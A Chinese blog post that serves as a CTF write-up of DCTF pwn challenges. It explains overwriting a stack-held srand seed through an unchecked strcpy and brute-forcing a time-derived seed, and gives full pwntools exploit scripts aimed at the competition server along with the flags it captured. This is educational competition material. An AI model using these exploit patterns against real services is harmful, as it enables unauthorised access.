本文最后更新于:星期日, 三月 31日 2019, 11:54 晚上

这个比赛我就做出了第一道pwn….C++逆向真的是看到脑壳疼,还有一个pwn题用到了CVE-2018-11235 ….真的是打扰了

  • lucky

    这道题是猜随机数,只是这题目是用C++写的,逆向看的有点难受

    因为随机数的seed在栈上,加上它在输入name时,用了strcpy函数,没有限制输入的长度,所以可以覆盖seed的值为0x61616161。加上它在输入名字后又srand了一次,所以seed就被我们控制了,产生的随机数也就是确定的。

    ida反编译看到的代码是长这样的

    1537775210793

生成随机数的源码

  #include <stdlib.h>
  #include <stdio.h>
  int main(){
    srand(0x61616161);
    for(int i=0;i<100;i++){
      printf("%d\n",rand());
    }
    return 0;
  }

exp:

  #!/usr/bin/env python
  from pwn import *
  local = 0

  if local:
      p = process('./lucky')
      elf = ELF('./lucky')
      libc = elf.libc
  else:
      host = '167.99.143.206'
      port = '65031'
      p = remote(host,port)
      elf = ELF('./lucky')

  context.arch = elf.arch
  context.terminal = ['tmux', 'splitw', '-h']
  context.log_level='debug'

  def sd(content):
      p.send(content)

  def sl(content):
      p.sendline(content)

  def rc():
      return p.recv()

  def ru(content):
      return p.recvuntil(content)

  def debug(addr,PIE=False):
      if PIE:
          text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
          gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
      else:
          gdb.attach(p,"b *{}".format(hex(addr)))


  fp = open('random.txt')
  l = []
  for i in fp:
      l.append(i)

  rc()
  sl('a'*0x2c4)

  for i in range(100):
      rc()
      sd(l[i])

  rc()
  print rc()#DCTF{8adadb46b599a58344559e009bc167da7f0e65e64167c27d3192e8b6df073eaa}
  p.interactive()
  • more lucky

    这题比赛时没做出来,它也是和随机数有关的,但是它没有lucky的漏洞,不能覆盖栈上的seed。

    先简单分析下文件,ida反编译出来的代码长这样

    1537776649487

    拖进编辑器里修改成能看版:

    __int64 __fastcall main(__int64 a1, char **a2, char **a3)
    {
      times = time(0LL);
      srand(times / 10);
      cout<<"Hello, there!"<<endl;
      cout<<"What is your name?"<<endl;
      cin.getline(&name);
      sub_2033(&v28, times / 10000, times / 10000, times, v6, v7);
      serv_time = v28;
      cout<<"I am glad to know you, "<<name<<"!"<<endl;
      cout<<"Server time: "<<serv_time<<endl;
      cout<<"If you guess the next 100 random numbers I shall give you the flag!"<<endl;
      for ( i = 0; i <= 99; ++i )
      {
        v30 = rand();
        cout<<"What number am I thinking of? ["<<i<<"/100]"<<endl;
        cin>>buf;
        v29 = sub_1FE9(&buf, 0LL, 10LL);
        if ( v29 != v30 )
        {
          cout<<"Wow that is wrong!"<<endl;
          return -1
        }
        cout<<"Wow that is corect!"<<endl;
      }
      ifs = ifstream("./flag2");
      if ( is_open(ifs) )
      {
        ifs.getline(flag);
        cout << flag << endl;
        ifs.close();
      }
        return 0;
    
    }
    

    这题和lucky的不同在于它使用的srand(time/10)来做随机数的种子,并且它将 time/10000打印出来了。

    程序先根据time(0)生成服务器时间,然后srand(times/10)来设置seed的值。用户输入name后,将times/10000打印出来。而且它没有再次srand(),所以需要找到seed的值。这里它使用srand(times/10)来初始化seed值,并且只有最后三位是未知的。因为time(0)返回以秒为单位的时间,它用times/10来做srand()的参数,最后三位数每隔十秒增加一次,这使得它很容易受到暴力攻击。

根据大佬的writeup,暴力猜它服务器的时间,猜对的可能性为1/1000,所以写脚本暴力跑

生成随机数的c代码:

  #include <stdio.h>
  #include <stdlib.h>

  int main(int argc, char **argv) {
      int seed = atoi(argv[1]);
      srand(seed);
      for (int i = 0; i < 100; i++) {
          printf("%d\n", rand());
      }
      return 0;
  }

exp:

  #!/usr/bin/env python
  from pwn import *
  import subprocess
  local = 1

  if local:
      p = process('./lucky2')
      elf = ELF('./lucky2')
      libc = elf.libc
  else:
      host = '167.99.143.206'
      port = '65032'
      p = remote(host,port)
      elf = ELF('./lucky2')

  context.log_level='debug'

  def sd(content):
      p.send(content)

  def sl(content):
      p.sendline(content)

  def rc():
      return p.recv()

  def ru(content):
      return p.recvuntil(content)

  times = 153778000
  for i in range(1000):
      times += 1
      print"times-->[{}]".format(times)
      p = remote("167.99.143.206", 65032)
      rc()
      sl('aaaa')
      number = subprocess.check_output(["./rand1", str(times)]).split('\n')
      try:
          for i in range(100):
              ru("100]")
              sl(number[i])
          p.interactive()
          #DCTF{2e7aaa899a8b212ea6ebda3112d24559f2d2c540a9a29b1b47477ae8e5f20ace}
      except EOFError:
          pass
  • Online linter

    这就是那道用到了CVE的题目,orz , drl。以后再研究吧

    贴下大佬writeup的地址 writeup


CTF's writeup      writeup pwn

本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!